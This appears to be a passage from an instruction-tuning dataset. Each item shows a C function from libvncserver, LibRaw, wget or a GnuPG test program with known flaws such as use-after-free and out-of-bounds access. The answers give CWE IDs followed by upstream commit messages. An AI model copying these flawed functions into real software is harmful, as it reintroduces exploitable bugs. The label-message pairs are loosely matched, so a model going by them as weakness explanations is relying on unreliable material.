->ioctl() handler.\n\nI've mostly copypasted ib_safe_file_access() over as sg_safe_file_access()\nbecause I couldn't find a good common header - please tell me if you know a\nbetter way.\n\n[mkp: s/_safe_/_check_/]\n\nFixes: 1da177e4c3f4 (\"Linux-2.6.12-rc2\")\nCc: \nSigned-off-by: Jann Horn \nAcked-by: Douglas Gilbert \nSigned-off-by: Martin K. Petersen '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: rfbTightExtensionClientClose(rfbClientPtr cl, void* data) {\n\n\tif(data != NULL)\n\t\tfree(data);\n\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'tightvnc-filetransfer: wait for download thread end in CloseUndoneFileDownload()\n\n...and use it when deregistering the file transfer extension.\n\nCloses #242'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: rfbBool ConnectToRFBRepeater(rfbClient* client,const char *repeaterHost, int repeaterPort, const char *destHost, int destPort)\n{\n rfbProtocolVersionMsg pv;\n int major,minor;\n char tmphost[250];\n\n#ifdef LIBVNCSERVER_IPv6\n client->sock = ConnectClientToTcpAddr6(repeaterHost, repeaterPort);\n if (client->sock == -1)\n#endif\n {\n unsigned int host;\n if (!StringToIPAddr(repeaterHost, &host)) {\n rfbClientLog(\"Couldn't convert '%s' to host address\\n\", repeaterHost);\n return FALSE;\n }\n\n client->sock = ConnectClientToTcpAddr(host, repeaterPort);\n }\n\n if (client->sock < 0) {\n rfbClientLog(\"Unable to connect to VNC repeater\\n\");\n return FALSE;\n }\n\n if (!SetNonBlocking(client->sock))\n return FALSE;\n\n if (!ReadFromRFBServer(client, pv, sz_rfbProtocolVersionMsg))\n return FALSE;\n pv[sz_rfbProtocolVersionMsg] = 0;\n\n /* UltraVNC repeater always report version 000.000 to identify itself */\n if (sscanf(pv,rfbProtocolVersionFormat,&major,&minor) != 2 || major != 0 || minor != 0) {\n rfbClientLog(\"Not a valid VNC repeater (%s)\\n\",pv);\n return FALSE;\n }\n\n rfbClientLog(\"Connected to VNC repeater, using protocol version %d.%d\\n\", major, minor);\n\n snprintf(tmphost, sizeof(tmphost), \"%s:%d\", destHost, destPort);\n if (!WriteToRFBServer(client, tmphost, sizeof(tmphost)))\n return FALSE;\n\n return TRUE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-665'], 'message': 'When connecting to a repeater, only send initialised string\n\nCloses #253'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void CLASS samsung_load_raw()\n{\n int row, col, c, i, dir, op[4], len[4];\n\n order = 0x4949;\n for (row=0; row < raw_height; row++) {\n#ifdef LIBRAW_LIBRARY_BUILD\n checkCancel();\n#endif\n fseek (ifp, strip_offset+row*4, SEEK_SET);\n fseek (ifp, data_offset+get4(), SEEK_SET);\n ph1_bits(-1);\n FORC4 len[c] = row < 2 ? 7:4;\n for (col=0; col < raw_width; col+=16) {\n dir = ph1_bits(1);\n FORC4 op[c] = ph1_bits(2);\n FORC4 switch (op[c]) {\n\tcase 3: len[c] = ph1_bits(4);\tbreak;\n\tcase 2: len[c]--;\t\tbreak;\n\tcase 1: len[c]++;\n }\n for (c=0; c < 16; c+=2) {\n\ti = len[((c & 1) << 1) | (c >> 3)];\n RAW(row,col+c) = ((signed) ph1_bits(i) << (32-i) >> (32-i)) +\n\t (dir ? RAW(row+(~c | -2),col+c) : col ? RAW(row,col+(c | -2)) : 128);\n\tif (c == 14) c = -1;\n }\n }\n }\n for (row=0; row < raw_height-1; row+=2)\n for (col=0; col < raw_width-1; col+=2)\n SWAP (RAW(row,col+1), RAW(row+1,col));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': 'Secunia 81800#1: samsumg_load_raw\n\nSecunia 81800#2: find_green\n\nSecunia 81800#3: rollei_load_raw\n\nremove_trailing_spaces: isspace() does not works right with signed non-latin chars\n\nSecunia 81800#5/6: nikon_coolscan_load_raw\n\nSecunia 81800#4: rollei_load_raw'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: http_loop (struct url *u, struct url *original_url, char **newloc,\n char **local_file, const char *referer, int *dt, struct url *proxy,\n struct iri *iri)\n{\n int count;\n bool got_head = false; /* used for time-stamping and filename detection */\n bool time_came_from_head = false;\n bool got_name = false;\n char *tms;\n const char *tmrate;\n uerr_t err, ret = TRYLIMEXC;\n time_t tmr = -1; /* remote time-stamp */\n struct http_stat hstat; /* HTTP status */\n struct_stat st;\n bool send_head_first = true;\n bool force_full_retrieve = false;\n\n\n /* If we are writing to a WARC file: always retrieve the whole file. */\n if (opt.warc_filename != NULL)\n force_full_retrieve = true;\n\n\n /* Assert that no value for *LOCAL_FILE was passed. */\n assert (local_file == NULL || *local_file == NULL);\n\n /* Set LOCAL_FILE parameter. */\n if (local_file && opt.output_document)\n *local_file = HYPHENP (opt.output_document) ? NULL : xstrdup (opt.output_document);\n\n /* Reset NEWLOC parameter. */\n *newloc = NULL;\n\n /* This used to be done in main, but it's a better idea to do it\n here so that we don't go through the hoops if we're just using\n FTP or whatever. */\n if (opt.cookies)\n load_cookies ();\n\n /* Warn on (likely bogus) wildcard usage in HTTP. */\n if (opt.ftp_glob && has_wildcards_p (u->path))\n logputs (LOG_VERBOSE, _(\"Warning: wildcards not supported in HTTP.\\n\"));\n\n /* Setup hstat struct. */\n xzero (hstat);\n hstat.referer = referer;\n\n if (opt.output_document)\n {\n hstat.local_file = xstrdup (opt.output_document);\n got_name = true;\n }\n else if (!opt.content_disposition)\n {\n hstat.local_file =\n url_file_name (opt.trustservernames ? u : original_url, NULL);\n got_name = true;\n }\n\n if (got_name && file_exists_p (hstat.local_file) && opt.noclobber && !opt.output_document)\n {\n /* If opt.noclobber is turned on and file already exists, do not\n retrieve the file. But if the output_document was given, then this\n test was already done and the file didn't exist. Hence the !opt.output_document */\n get_file_flags (hstat.local_file, dt);\n ret = RETROK;\n goto exit;\n }\n\n /* Reset the counter. */\n count = 0;\n\n /* Reset the document type. */\n *dt = 0;\n\n /* Skip preliminary HEAD request if we're not in spider mode. */\n if (!opt.spider)\n send_head_first = false;\n\n /* Send preliminary HEAD request if --content-disposition and -c are used\n together. */\n if (opt.content_disposition && opt.always_rest)\n send_head_first = true;\n\n#ifdef HAVE_METALINK\n if (opt.metalink_over_http)\n {\n *dt |= METALINK_METADATA;\n send_head_first = true;\n }\n#endif\n\n if (opt.timestamping)\n {\n /* Use conditional get request if requested\n * and if timestamp is known at this moment. */\n if (opt.if_modified_since && !send_head_first && got_name && file_exists_p (hstat.local_file))\n {\n *dt |= IF_MODIFIED_SINCE;\n {\n uerr_t timestamp_err = set_file_timestamp (&hstat);\n if (timestamp_err != RETROK)\n return timestamp_err;\n }\n }\n /* Send preliminary HEAD request if -N is given and we have existing\n * destination file or content disposition is enabled. */\n else if (opt.content_disposition || file_exists_p (hstat.local_file))\n send_head_first = true;\n }\n\n /* THE loop */\n do\n {\n /* Increment the pass counter. */\n ++count;\n sleep_between_retrievals (count);\n\n /* Get the current time string. */\n tms = datetime_str (time (NULL));\n\n if (opt.spider && !got_head)\n logprintf (LOG_VERBOSE,\n\t\t\t _(\"Spider mode enabled. Check if remote file exists.\\n\"));\n\n /* Print fetch message, if opt.verbose. */\n if (opt.verbose)\n {\n char *hurl = url_string (u, URL_AUTH_HIDE_PASSWD);\n\n if (count > 1)\n {\n char tmp[256];\n sprintf (tmp, _(\"(try:%2d)\"), count);\n logprintf (LOG_NOTQUIET, \"--%s-- %s %s\\n\",\n tms, tmp, hurl);\n }\n else\n {\n logprintf (LOG_NOTQUIET, \"--%s-- %s\\n\",\n tms, hurl);\n }\n\n#ifdef WINDOWS\n ws_changetitle (hurl);\n#endif\n xfree (hurl);\n }\n\n /* Default document type is empty. However, if spider mode is\n on or time-stamping is employed, HEAD_ONLY commands is\n encoded within *dt. */\n if (send_head_first && !got_head)\n *dt |= HEAD_ONLY;\n else\n *dt &= ~HEAD_ONLY;\n\n /* Decide whether or not to restart. */\n if (force_full_retrieve)\n hstat.restval = hstat.len;\n else if (opt.start_pos >= 0)\n hstat.restval = opt.start_pos;\n else if (opt.always_rest\n && got_name\n && stat (hstat.local_file, &st) == 0\n && S_ISREG (st.st_mode))\n /* When -c is used, continue from on-disk size. (Can't use\n hstat.len even if count>1 because we don't want a failed\n first attempt to clobber existing data.) */\n hstat.restval = st.st_size;\n else if (count > 1)\n /* otherwise, continue where the previous try left off */\n hstat.restval = hstat.len;\n else\n hstat.restval = 0;\n\n /* Decide whether to send the no-cache directive. We send it in\n two cases:\n a) we're using a proxy, and we're past our first retrieval.\n Some proxies are notorious for caching incomplete data, so\n we require a fresh get.\n b) caching is explicitly inhibited. */\n if ((proxy && count > 1) /* a */\n || !opt.allow_cache) /* b */\n *dt |= SEND_NOCACHE;\n else\n *dt &= ~SEND_NOCACHE;\n\n /* Try fetching the document, or at least its head. */\n err = gethttp (u, &hstat, dt, proxy, iri, count);\n\n /* Time? */\n tms = datetime_str (time (NULL));\n\n /* Get the new location (with or without the redirection). */\n if (hstat.newloc)\n *newloc = xstrdup (hstat.newloc);\n\n switch (err)\n {\n case HERR: case HEOF: case CONSOCKERR:\n case CONERROR: case READERR: case WRITEFAILED:\n case RANGEERR: case FOPEN_EXCL_ERR: case GATEWAYTIMEOUT:\n /* Non-fatal errors continue executing the loop, which will\n bring them to \"while\" statement at the end, to judge\n whether the number of tries was exceeded. */\n printwhat (count, opt.ntry);\n continue;\n case FWRITEERR: case FOPENERR:\n /* Another fatal error. */\n logputs (LOG_VERBOSE, \"\\n\");\n logprintf (LOG_NOTQUIET, _(\"Cannot write to %s (%s).\\n\"),\n quote (hstat.local_file), strerror (errno));\n case HOSTERR: case CONIMPOSSIBLE: case PROXERR: case SSLINITFAILED:\n case CONTNOTSUPPORTED: case VERIFCERTERR: case FILEBADFILE:\n case UNKNOWNATTR:\n /* Fatal errors just return from the function. */\n ret = err;\n goto exit;\n case ATTRMISSING:\n /* A missing attribute in a Header is a fatal Protocol error. */\n logputs (LOG_VERBOSE, \"\\n\");\n logprintf (LOG_NOTQUIET, _(\"Required attribute missing from Header received.\\n\"));\n ret = err;\n goto exit;\n case AUTHFAILED:\n logputs (LOG_VERBOSE, \"\\n\");\n logprintf (LOG_NOTQUIET, _(\"Username/Password Authentication Failed.\\n\"));\n ret = err;\n goto exit;\n case WARC_ERR:\n /* A fatal WARC error. */\n logputs (LOG_VERBOSE, \"\\n\");\n logprintf (LOG_NOTQUIET, _(\"Cannot write to WARC file.\\n\"));\n ret = err;\n goto exit;\n case WARC_TMP_FOPENERR: case WARC_TMP_FWRITEERR:\n /* A fatal WARC error. */\n logputs (LOG_VERBOSE, \"\\n\");\n logprintf (LOG_NOTQUIET, _(\"Cannot write to temporary WARC file.\\n\"));\n ret = err;\n goto exit;\n case CONSSLERR:\n /* Another fatal error. */\n logprintf (LOG_NOTQUIET, _(\"Unable to establish SSL connection.\\n\"));\n ret = err;\n goto exit;\n case UNLINKERR:\n /* Another fatal error. */\n logputs (LOG_VERBOSE, \"\\n\");\n logprintf (LOG_NOTQUIET, _(\"Cannot unlink %s (%s).\\n\"),\n quote (hstat.local_file), strerror (errno));\n ret = err;\n goto exit;\n case NEWLOCATION:\n case NEWLOCATION_KEEP_POST:\n /* Return the new location to the caller. */\n if (!*newloc)\n {\n logprintf (LOG_NOTQUIET,\n _(\"ERROR: Redirection (%d) without location.\\n\"),\n hstat.statcode);\n ret = WRONGCODE;\n }\n else\n {\n ret = err;\n }\n goto exit;\n case RETRUNNEEDED:\n /* The file was already fully retrieved. */\n ret = RETROK;\n goto exit;\n case RETRFINISHED:\n /* Deal with you later. */\n break;\n#ifdef HAVE_METALINK\n case RETR_WITH_METALINK:\n {\n if (hstat.metalink == NULL)\n {\n logputs (LOG_NOTQUIET,\n _(\"Could not find Metalink data in HTTP response. \"\n \"Downloading file using HTTP GET.\\n\"));\n *dt &= ~METALINK_METADATA;\n *dt &= ~HEAD_ONLY;\n got_head = true;\n continue;\n }\n\n logputs (LOG_VERBOSE,\n _(\"Metalink headers found. \"\n \"Switching to Metalink mode.\\n\"));\n\n ret = retrieve_from_metalink (hstat.metalink);\n goto exit;\n }\n break;\n#endif\n default:\n /* All possibilities should have been exhausted. */\n abort ();\n }\n\n if (!(*dt & RETROKF))\n {\n char *hurl = NULL;\n if (!opt.verbose)\n {\n /* #### Ugly ugly ugly! */\n hurl = url_string (u, URL_AUTH_HIDE_PASSWD);\n logprintf (LOG_NONVERBOSE, \"%s:\\n\", hurl);\n }\n\n /* Fall back to GET if HEAD fails with a 500 or 501 error code. */\n if (*dt & HEAD_ONLY\n && (hstat.statcode == 500 || hstat.statcode == 501))\n {\n got_head = true;\n continue;\n }\n /* Maybe we should always keep track of broken links, not just in\n * spider mode.\n * Don't log error if it was UTF-8 encoded because we will try\n * once unencoded. */\n else if (opt.spider && !iri->utf8_encode)\n {\n /* #### Again: ugly ugly ugly! */\n if (!hurl)\n hurl = url_string (u, URL_AUTH_HIDE_PASSWD);\n nonexisting_url (hurl);\n logprintf (LOG_NOTQUIET, _(\"\\\nRemote file does not exist -- broken link!!!\\n\"));\n }\n else\n {\n logprintf (LOG_NOTQUIET, _(\"%s ERROR %d: %s.\\n\"),\n tms, hstat.statcode,\n quotearg_style (escape_quoting_style, hstat.error));\n }\n logputs (LOG_VERBOSE, \"\\n\");\n ret = WRONGCODE;\n xfree (hurl);\n goto exit;\n }\n\n /* Did we get the time-stamp? */\n if (!got_head || (opt.spider && !opt.recursive))\n {\n got_head = true; /* no more time-stamping */\n\n if (opt.timestamping && !hstat.remote_time)\n {\n logputs (LOG_NOTQUIET, _(\"\\\nLast-modified header missing -- time-stamps turned off.\\n\"));\n }\n else if (hstat.remote_time)\n {\n /* Convert the date-string into struct tm. */\n tmr = http_atotm (hstat.remote_time);\n if (tmr == (time_t) (-1))\n logputs (LOG_VERBOSE, _(\"\\\nLast-modified header invalid -- time-stamp ignored.\\n\"));\n if (*dt & HEAD_ONLY)\n time_came_from_head = true;\n }\n\n if (send_head_first)\n {\n /* The time-stamping section. */\n if (opt.timestamping)\n {\n if (hstat.orig_file_name) /* Perform the following\n checks only if the file\n we're supposed to\n download already exists. */\n {\n if (hstat.remote_time &&\n tmr != (time_t) (-1))\n {\n /* Now time-stamping can be used validly.\n Time-stamping means that if the sizes of\n the local and remote file match, and local\n file is newer than the remote file, it will\n not be retrieved. Otherwise, the normal\n download procedure is resumed. */\n if (hstat.orig_file_tstamp >= tmr)\n {\n if (hstat.contlen == -1\n || hstat.orig_file_size == hstat.contlen)\n {\n logprintf (LOG_VERBOSE, _(\"\\\nServer file no newer than local file %s -- not retrieving.\\n\\n\"),\n quote (hstat.orig_file_name));\n ret = RETROK;\n goto exit;\n }\n else\n {\n logprintf (LOG_VERBOSE, _(\"\\\nThe sizes do not match (local %s) -- retrieving.\\n\"),\n number_to_static_string (hstat.orig_file_size));\n }\n }\n else\n {\n force_full_retrieve = true;\n logputs (LOG_VERBOSE,\n _(\"Remote file is newer, retrieving.\\n\"));\n }\n\n logputs (LOG_VERBOSE, \"\\n\");\n }\n }\n\n /* free_hstat (&hstat); */\n hstat.timestamp_checked = true;\n }\n\n if (opt.spider)\n {\n bool finished = true;\n if (opt.recursive)\n {\n if (*dt & TEXTHTML)\n {\n logputs (LOG_VERBOSE, _(\"\\\nRemote file exists and could contain links to other resources -- retrieving.\\n\\n\"));\n finished = false;\n }\n else\n {\n logprintf (LOG_VERBOSE, _(\"\\\nRemote file exists but does not contain any link -- not retrieving.\\n\\n\"));\n ret = RETROK; /* RETRUNNEEDED is not for caller. */\n }\n }\n else\n {\n if (*dt & TEXTHTML)\n {\n logprintf (LOG_VERBOSE, _(\"\\\nRemote file exists and could contain further links,\\n\\\nbut recursion is disabled -- not retrieving.\\n\\n\"));\n }\n else\n {\n logprintf (LOG_VERBOSE, _(\"\\\nRemote file exists.\\n\\n\"));\n }\n ret = RETROK; /* RETRUNNEEDED is not for caller. */\n }\n\n if (finished)\n {\n logprintf (LOG_NONVERBOSE,\n _(\"%s URL: %s %2d %s\\n\"),\n tms, u->url, hstat.statcode,\n hstat.message ? quotearg_style (escape_quoting_style, hstat.message) : \"\");\n goto exit;\n }\n }\n\n got_name = true;\n *dt &= ~HEAD_ONLY;\n count = 0; /* the retrieve count for HEAD is reset */\n xfree (hstat.message);\n xfree (hstat.error);\n continue;\n } /* send_head_first */\n } /* !got_head */\n\n if (opt.useservertimestamps\n && (tmr != (time_t) (-1))\n && ((hstat.len == hstat.contlen) ||\n ((hstat.res == 0) && (hstat.contlen == -1))))\n {\n const char *fl = NULL;\n set_local_file (&fl, hstat.local_file);\n if (fl)\n {\n time_t newtmr = -1;\n /* Reparse time header, in case it's changed. */\n if (time_came_from_head\n && hstat.remote_time && hstat.remote_time[0])\n {\n newtmr = http_atotm (hstat.remote_time);\n if (newtmr != (time_t)-1)\n tmr = newtmr;\n }\n touch (fl, tmr);\n }\n }\n /* End of time-stamping section. */\n\n tmrate = retr_rate (hstat.rd_size, hstat.dltime);\n total_download_time += hstat.dltime;\n\n if (hstat.len == hstat.contlen)\n {\n if (*dt & RETROKF || opt.content_on_error)\n {\n bool write_to_stdout = (opt.output_document && HYPHENP (opt.output_document));\n\n logprintf (LOG_VERBOSE,\n write_to_stdout\n ? _(\"%s (%s) - written to stdout %s[%s/%s]\\n\\n\")\n : _(\"%s (%s) - %s saved [%s/%s]\\n\\n\"),\n tms, tmrate,\n write_to_stdout ? \"\" : quote (hstat.local_file),\n number_to_static_string (hstat.len),\n number_to_static_string (hstat.contlen));\n logprintf (LOG_NONVERBOSE,\n \"%s URL:%s [%s/%s] -> \\\"%s\\\" [%d]\\n\",\n tms, u->url,\n number_to_static_string (hstat.len),\n number_to_static_string (hstat.contlen),\n hstat.local_file, count);\n }\n ++numurls;\n total_downloaded_bytes += hstat.rd_size;\n\n /* Remember that we downloaded the file for later \".orig\" code. */\n if (*dt & ADDED_HTML_EXTENSION)\n downloaded_file (FILE_DOWNLOADED_AND_HTML_EXTENSION_ADDED, hstat.local_file);\n else\n downloaded_file (FILE_DOWNLOADED_NORMALLY, hstat.local_file);\n\n ret = RETROK;\n goto exit;\n }\n else if (hstat.res == 0) /* No read error */\n {\n if (hstat.contlen == -1) /* We don't know how much we were supposed\n to get, so assume we succeeded. */\n {\n if (*dt & RETROKF || opt.content_on_error)\n {\n bool write_to_stdout = (opt.output_document && HYPHENP (opt.output_document));\n\n logprintf (LOG_VERBOSE,\n write_to_stdout\n ? _(\"%s (%s) - written to stdout %s[%s]\\n\\n\")\n : _(\"%s (%s) - %s saved [%s]\\n\\n\"),\n tms, tmrate,\n write_to_stdout ? \"\" : quote (hstat.local_file),\n number_to_static_string (hstat.len));\n logprintf (LOG_NONVERBOSE,\n \"%s URL:%s [%s] -> \\\"%s\\\" [%d]\\n\",\n tms, u->url, number_to_static_string (hstat.len),\n hstat.local_file, count);\n }\n ++numurls;\n total_downloaded_bytes += hstat.rd_size;\n\n /* Remember that we downloaded the file for later \".orig\" code. */\n if (*dt & ADDED_HTML_EXTENSION)\n downloaded_file (FILE_DOWNLOADED_AND_HTML_EXTENSION_ADDED, hstat.local_file);\n else\n downloaded_file (FILE_DOWNLOADED_NORMALLY, hstat.local_file);\n\n ret = RETROK;\n goto exit;\n }\n else if (hstat.len < hstat.contlen) /* meaning we lost the\n connection too soon */\n {\n logprintf (LOG_VERBOSE,\n _(\"%s (%s) - Connection closed at byte %s. \"),\n tms, tmrate, number_to_static_string (hstat.len));\n printwhat (count, opt.ntry);\n continue;\n }\n else if (hstat.len != hstat.restval)\n /* Getting here would mean reading more data than\n requested with content-length, which we never do. */\n abort ();\n else\n {\n /* Getting here probably means that the content-length was\n * _less_ than the original, local size. We should probably\n * truncate or re-read, or something. FIXME */\n ret = RETROK;\n goto exit;\n }\n }\n else /* from now on hstat.res can only be -1 */\n {\n if (hstat.contlen == -1)\n {\n logprintf (LOG_VERBOSE,\n _(\"%s (%s) - Read error at byte %s (%s).\"),\n tms, tmrate, number_to_static_string (hstat.len),\n hstat.rderrmsg);\n printwhat (count, opt.ntry);\n continue;\n }\n else /* hstat.res == -1 and contlen is given */\n {\n logprintf (LOG_VERBOSE,\n _(\"%s (%s) - Read error at byte %s/%s (%s). \"),\n tms, tmrate,\n number_to_static_string (hstat.len),\n number_to_static_string (hstat.contlen),\n hstat.rderrmsg);\n printwhat (count, opt.ntry);\n continue;\n }\n }\n /* not reached */\n }\n while (!opt.ntry || (count < opt.ntry));\n\nexit:\n if ((ret == RETROK || opt.content_on_error) && local_file)\n {\n xfree (*local_file);\n *local_file = xstrdup (hstat.local_file);\n }\n free_hstat (&hstat);\n\n return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'Keep fetched URLs in POSIX extended attributes\n\n* configure.ac: Check for xattr availability\n* src/Makefile.am: Add xattr.c\n* src/ftp.c: Include xattr.h.\n (getftp): Set attributes if enabled.\n* src/http.c: Include xattr.h.\n (gethttp): Add parameter 'original_url',\n set attributes if enabled.\n (http_loop): Add 'original_url' to call of gethttp().\n* src/init.c: Add new option --xattr.\n* src/main.c: Add new option --xattr, add description to help text.\n* src/options.h: Add new config member 'enable_xattr'.\n* src/xatrr.c: New file.\n* src/xattr.h: New file.\n\nThese attributes provide a lightweight method of later determining\nwhere a file was downloaded from.\n\nThis patch changes:\n* autoconf detects whether extended attributes are available and\n enables the code if they are.\n* The new flags --xattr and --no-xattr control whether xattr is enabled.\n* The new command \"xattr = (on|off)\" can be used in ~/.wgetrc or /etc/wgetrc\n* The original and redirected URLs are recorded as shown below.\n* This works for both single fetches and recursive mode.\n\nThe attributes that are set are:\nuser.xdg.origin.url: The URL that the content was fetched from.\nuser.xdg.referrer.url: The URL that was originally requested.\n\nHere is an example, where http://archive.org redirects to https://archive.org:\n$ wget --xattr http://archive.org\n...\n$ getfattr -d index.html\nuser.xdg.origin.url=\"https://archive.org/\"\nuser.xdg.referrer.url=\"http://archive.org/\"\n\nThese attributes were chosen based on those stored by Google Chrome\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=45903\nand curl https://github.com/curl/curl/blob/master/src/tool_xattr.c'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: main (int argc, char **argv)\n{\n int last_argc = -1;\n gpg_error_t err;\n int rc; parsed_uri_t uri;\n uri_tuple_t r;\n http_t hd;\n int c;\n unsigned int my_http_flags = 0;\n int no_out = 0;\n int tls_dbg = 0;\n int no_crl = 0;\n const char *cafile = NULL;\n http_session_t session = NULL;\n unsigned int timeout = 0;\n\n gpgrt_init ();\n log_set_prefix (PGM, GPGRT_LOG_WITH_PREFIX | GPGRT_LOG_WITH_PID);\n if (argc)\n { argc--; argv++; }\n while (argc && last_argc != argc )\n {\n last_argc = argc;\n if (!strcmp (*argv, \"--\"))\n {\n argc--; argv++;\n break;\n }\n else if (!strcmp (*argv, \"--help\"))\n {\n fputs (\"usage: \" PGM \" URL\\n\"\n \"Options:\\n\"\n \" --verbose print timings etc.\\n\"\n \" --debug flyswatter\\n\"\n \" --tls-debug N use TLS debug level N\\n\"\n \" --cacert FNAME expect CA certificate in file FNAME\\n\"\n \" --timeout MS timeout for connect in MS\\n\"\n \" --no-verify do not verify the certificate\\n\"\n \" --force-tls use HTTP_FLAG_FORCE_TLS\\n\"\n \" --force-tor use HTTP_FLAG_FORCE_TOR\\n\"\n \" --no-out do not print the content\\n\"\n \" --no-crl do not consuilt a CRL\\n\",\n stdout);\n exit (0);\n }\n else if (!strcmp (*argv, \"--verbose\"))\n {\n verbose++;\n argc--; argv++;\n }\n else if (!strcmp (*argv, \"--debug\"))\n {\n verbose += 2;\n debug++;\n argc--; argv++;\n }\n else if (!strcmp (*argv, \"--tls-debug\"))\n {\n argc--; argv++;\n if (argc)\n {\n tls_dbg = atoi (*argv);\n argc--; argv++;\n }\n }\n else if (!strcmp (*argv, \"--cacert\"))\n {\n argc--; argv++;\n if (argc)\n {\n cafile = *argv;\n argc--; argv++;\n }\n }\n else if (!strcmp (*argv, \"--timeout\"))\n {\n argc--; argv++;\n if (argc)\n {\n timeout = strtoul (*argv, NULL, 10);\n argc--; argv++;\n }\n }\n else if (!strcmp (*argv, \"--no-verify\"))\n {\n no_verify = 1;\n argc--; argv++;\n }\n else if (!strcmp (*argv, \"--force-tls\"))\n {\n my_http_flags |= HTTP_FLAG_FORCE_TLS;\n argc--; argv++;\n }\n else if (!strcmp (*argv, \"--force-tor\"))\n {\n my_http_flags |= HTTP_FLAG_FORCE_TOR;\n argc--; argv++;\n }\n else if (!strcmp (*argv, \"--no-out\"))\n {\n no_out = 1;\n argc--; argv++;\n }\n else if (!strcmp (*argv, \"--no-crl\"))\n {\n no_crl = 1;\n argc--; argv++;\n }\n else if (!strncmp (*argv, \"--\", 2))\n {\n fprintf (stderr, PGM \": unknown option '%s'\\n\", *argv);\n exit (1);\n }\n }\n if (argc != 1)\n {\n fprintf (stderr, PGM \": no or too many URLS given\\n\");\n exit (1);\n }\n\n if (!cafile)\n cafile = prepend_srcdir (\"tls-ca.pem\");\n\n if (verbose)\n my_http_flags |= HTTP_FLAG_LOG_RESP;\n\n if (verbose || debug)\n http_set_verbose (verbose, debug);\n\n /* http.c makes use of the assuan socket wrapper. */\n assuan_sock_init ();\n\n if ((my_http_flags & HTTP_FLAG_FORCE_TOR))\n {\n enable_dns_tormode (1);\n if (assuan_sock_set_flag (ASSUAN_INVALID_FD, \"tor-mode\", 1))\n {\n log_error (\"error enabling Tor mode: %s\\n\", strerror (errno));\n log_info (\"(is your Libassuan recent enough?)\\n\");\n }\n }\n\n#if HTTP_USE_NTBTLS\n log_info (\"new session.\\n\");\n err = http_session_new (&session, NULL,\n ((no_crl? HTTP_FLAG_NO_CRL : 0)\n | HTTP_FLAG_TRUST_DEF),\n my_http_tls_verify_cb, NULL);\n if (err)\n log_error (\"http_session_new failed: %s\\n\", gpg_strerror (err));\n ntbtls_set_debug (tls_dbg, NULL, NULL);\n\n#elif HTTP_USE_GNUTLS\n\n rc = gnutls_global_init ();\n if (rc)\n log_error (\"gnutls_global_init failed: %s\\n\", gnutls_strerror (rc));\n\n http_register_tls_callback (verify_callback);\n http_register_tls_ca (cafile);\n\n err = http_session_new (&session, NULL,\n ((no_crl? HTTP_FLAG_NO_CRL : 0)\n | HTTP_FLAG_TRUST_DEF),\n NULL, NULL);\n if (err)\n log_error (\"http_session_new failed: %s\\n\", gpg_strerror (err));\n\n /* rc = gnutls_dh_params_init(&dh_params); */\n /* if (rc) */\n /* log_error (\"gnutls_dh_params_init failed: %s\\n\", gnutls_strerror (rc)); */\n /* read_dh_params (\"dh_param.pem\"); */\n\n /* rc = gnutls_certificate_set_x509_trust_file */\n /* (certcred, \"ca.pem\", GNUTLS_X509_FMT_PEM); */\n /* if (rc) */\n /* log_error (\"gnutls_certificate_set_x509_trust_file failed: %s\\n\", */\n /* gnutls_strerror (rc)); */\n\n /* gnutls_certificate_set_dh_params (certcred, dh_params); */\n\n gnutls_global_set_log_function (my_gnutls_log);\n if (tls_dbg)\n gnutls_global_set_log_level (tls_dbg);\n\n#else\n (void)err;\n (void)tls_dbg;\n (void)no_crl;\n#endif /*HTTP_USE_GNUTLS*/\n\n rc = http_parse_uri (&uri, *argv, 1);\n if (rc)\n {\n log_error (\"'%s': %s\\n\", *argv, gpg_strerror (rc));\n return 1;\n }\n\n printf (\"Scheme: %s\\n\", uri->scheme);\n if (uri->opaque)\n printf (\"Value : %s\\n\", uri->path);\n else\n {\n printf (\"Auth : %s\\n\", uri->auth? uri->auth:\"[none]\");\n printf (\"Host : %s\\n\", uri->host);\n printf (\"Port : %u\\n\", uri->port);\n printf (\"Path : %s\\n\", uri->path);\n for (r = uri->params; r; r = r->next)\n {\n printf (\"Params: %s\", r->name);\n if (!r->no_value)\n {\n printf (\"=%s\", r->value);\n if (strlen (r->value) != r->valuelen)\n printf (\" [real length=%d]\", (int) r->valuelen);\n }\n putchar ('\\n');\n }\n for (r = uri->query; r; r = r->next)\n {\n printf (\"Query : %s\", r->name);\n if (!r->no_value)\n {\n printf (\"=%s\", r->value);\n if (strlen (r->value) != r->valuelen)\n printf (\" [real length=%d]\", (int) r->valuelen);\n }\n putchar ('\\n');\n }\n printf (\"Flags :%s%s%s%s\\n\",\n uri->is_http? \" http\":\"\",\n uri->opaque? \" opaque\":\"\",\n uri->v6lit? \" v6lit\":\"\",\n uri->onion? \" onion\":\"\");\n printf (\"TLS : %s\\n\",\n uri->use_tls? \"yes\":\n (my_http_flags&HTTP_FLAG_FORCE_TLS)? \"forced\" : \"no\");\n printf (\"Tor : %s\\n\",\n (my_http_flags&HTTP_FLAG_FORCE_TOR)? \"yes\" : \"no\");\n\n }\n fflush (stdout);\n http_release_parsed_uri (uri);\n uri = NULL;\n\n if (session)\n http_session_set_timeout (session, timeout);\n\n 